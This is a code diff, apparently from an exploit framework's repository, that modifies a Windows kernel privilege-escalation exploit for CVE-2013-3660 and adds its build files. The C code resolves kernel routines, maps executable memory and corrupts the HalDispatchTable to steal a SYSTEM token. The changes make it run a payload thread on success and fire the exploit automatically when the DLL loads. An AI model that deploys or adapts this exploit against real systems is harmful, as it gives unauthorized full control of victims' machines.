Mutex = CreateMutex(NULL, FALSE, NULL);
|
||||||
|
|
@ -590,10 +609,10 @@ VOID elevator_complex_path()
|
||||||
|
|
||||||
// Lookup some system routines we require.
|
// Lookup some system routines we require.
|
||||||
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
|
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
|
||||||
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
HalDispatchTable = (PULONG)((ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
|
||||||
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
PsInitialSystemProcess = (PVOID*)((ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
|
||||||
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
PsReferencePrimaryToken = (FARPROC)((ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
|
||||||
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
PsLookupProcessByProcessId = (FARPROC)((ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
|
||||||
|
|
||||||
// Search for a ret instruction to install in the damaged HalDispatchTable.
|
// Search for a ret instruction to install in the damaged HalDispatchTable.
|
||||||
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
|
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
|
||||||
|
|
@ -629,7 +648,7 @@ VOID elevator_complex_path()
|
||||||
|
|
||||||
// I need to map at least two pages to guarantee the whole structure is
|
// I need to map at least two pages to guarantee the whole structure is
|
||||||
// available.
|
// available.
|
||||||
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
|
while (!VirtualAlloc((LPVOID)(*DispatchRedirect & ~(PAGE_SIZE - 1)),
|
||||||
PAGE_SIZE * 2,
|
PAGE_SIZE * 2,
|
||||||
MEM_COMMIT | MEM_RESERVE,
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
PAGE_EXECUTE_READWRITE)) {
|
PAGE_EXECUTE_READWRITE)) {
|
||||||
|
|
@ -740,7 +759,7 @@ VOID elevator_complex_path()
|
||||||
|
|
||||||
if (ComplexPathFinished) {
|
if (ComplexPathFinished) {
|
||||||
LogMessage(L_INFO, "Success...", ComplexPathFinished);
|
LogMessage(L_INFO, "Success...", ComplexPathFinished);
|
||||||
//ExitProcess(0);
|
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -756,7 +775,8 @@ VOID elevator_complex_path()
|
||||||
}
|
}
|
||||||
|
|
||||||
// A quick logging routine for debug messages.
|
// A quick logging routine for debug messages.
|
||||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
|
#ifdef DEBUGTRACE
|
||||||
|
VOID LogMessage(LEVEL Level, PCHAR Format, ...)
|
||||||
{
|
{
|
||||||
CHAR Buffer[1024] = {0};
|
CHAR Buffer[1024] = {0};
|
||||||
va_list Args;
|
va_list Args;
|
||||||
|
|
@ -774,28 +794,34 @@ BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
|
||||||
|
|
||||||
//fflush(stdout);
|
//fflush(stdout);
|
||||||
//flush(stderr);
|
//flush(stderr);
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
}
|
||||||
extern HINSTANCE hAppInstance;
|
#else
|
||||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
#define LogMessage(...)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||||
{
|
{
|
||||||
BOOL bReturnValue = TRUE;
|
BOOL bReturnValue = TRUE;
|
||||||
switch( dwReason )
|
dprintf("[PPRFLATTENREC] DllMain invoked, reason: %u", dwReason);
|
||||||
{
|
switch (dwReason)
|
||||||
case DLL_QUERY_HMODULE:
|
{
|
||||||
if( lpReserved != NULL )
|
case DLL_QUERY_HMODULE:
|
||||||
*(HMODULE *)lpReserved = hAppInstance;
|
hAppInstance = hinstDLL;
|
||||||
hAppInstance = hinstDLL;
|
dprintf("[PPRFLATTENREC] Module queried %x", hinstDLL);
|
||||||
elevator_complex_path();
|
if (lpReserved != NULL)
|
||||||
break;
|
{
|
||||||
case DLL_PROCESS_ATTACH:
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
hAppInstance = hinstDLL;
|
}
|
||||||
break;
|
break;
|
||||||
case DLL_PROCESS_DETACH:
|
case DLL_PROCESS_ATTACH:
|
||||||
case DLL_THREAD_ATTACH:
|
hAppInstance = hinstDLL;
|
||||||
case DLL_THREAD_DETACH:
|
dprintf("[PPRFLATTENREC] Launching exploit with %p", lpReserved);
|
||||||
break;
|
elevator_complex_path(lpReserved);
|
||||||
}
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
return bReturnValue;
|
return bReturnValue;
|
||||||
}
|
}
|
||||||
141
external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj
vendored
Executable file
141
external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj
vendored
Executable file
|
|
@ -0,0 +1,141 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{942BF20A-E438-48B0-A614-A6E0CC2E94BD}</ProjectGuid>
|
||||||
|
<RootNamespace>ppr_flatten_rec</RootNamespace>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||||
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<GenerateManifest>false</GenerateManifest>
|
||||||
|
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||||
|
<CodeAnalysisRules />
|
||||||
|
<CodeAnalysisRuleAssemblies />
|
||||||
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;PPR_FLATTEN_REC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
<ModuleDefinitionFile>
|
||||||
|
</ModuleDefinitionFile>
|
||||||
|
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
<ResourceCompile>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||||
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;PPR_FLATTEN_REC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<StringPooling>true</StringPooling>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||||
|
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||||
|
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||||
|
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
<GenerateMapFile>true</GenerateMapFile>
|
||||||
|
<MapFileName>$(OutDir)\ppr_flatten_rec.map</MapFileName>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>
|
||||||
|
</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>
|
||||||
|
</EnableCOMDATFolding>
|
||||||
|
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||||
|
<DataExecutionPrevention>
|
||||||
|
</DataExecutionPrevention>
|
||||||
|
<ImportLibrary>$(OutDir)\ppr_flatten_rec.lib</ImportLibrary>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
<Profile>false</Profile>
|
||||||
|
<ModuleDefinitionFile>
|
||||||
|
</ModuleDefinitionFile>
|
||||||
|
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||||
|
IF EXIST "..\..\..\..\..\data\exploits\CVE-2013-3660\" GOTO COPY
|
||||||
|
mkdir "..\..\..\..\..\data\exploits\CVE-2013-3660\"
|
||||||
|
:COPY
|
||||||
|
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2013-3660\"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="ppr_flatten_rec.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="ComplexPath.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
9
external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj.filters
vendored
Executable file
9
external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj.filters
vendored
Executable file
|
|
@ -0,0 +1,9 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="ppr_flatten_rec.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="ComplexPath.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
|
|
@ -1,20 +0,0 @@
|
||||||
|
|
||||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
|
||||||
# Visual C++ Express 2010
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
|
||||||
EndProject
|
|
||||||
Global
|
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
|
||||||
Debug|Win32 = Debug|Win32
|
|
||||||
Release|Win32 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
|
||||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
|
||||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
|
||||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
|
||||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
|
||||||
HideSolutionNode = FALSE
|
|
||||||
EndGlobalSection
|
|
||||||
EndGlobal
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue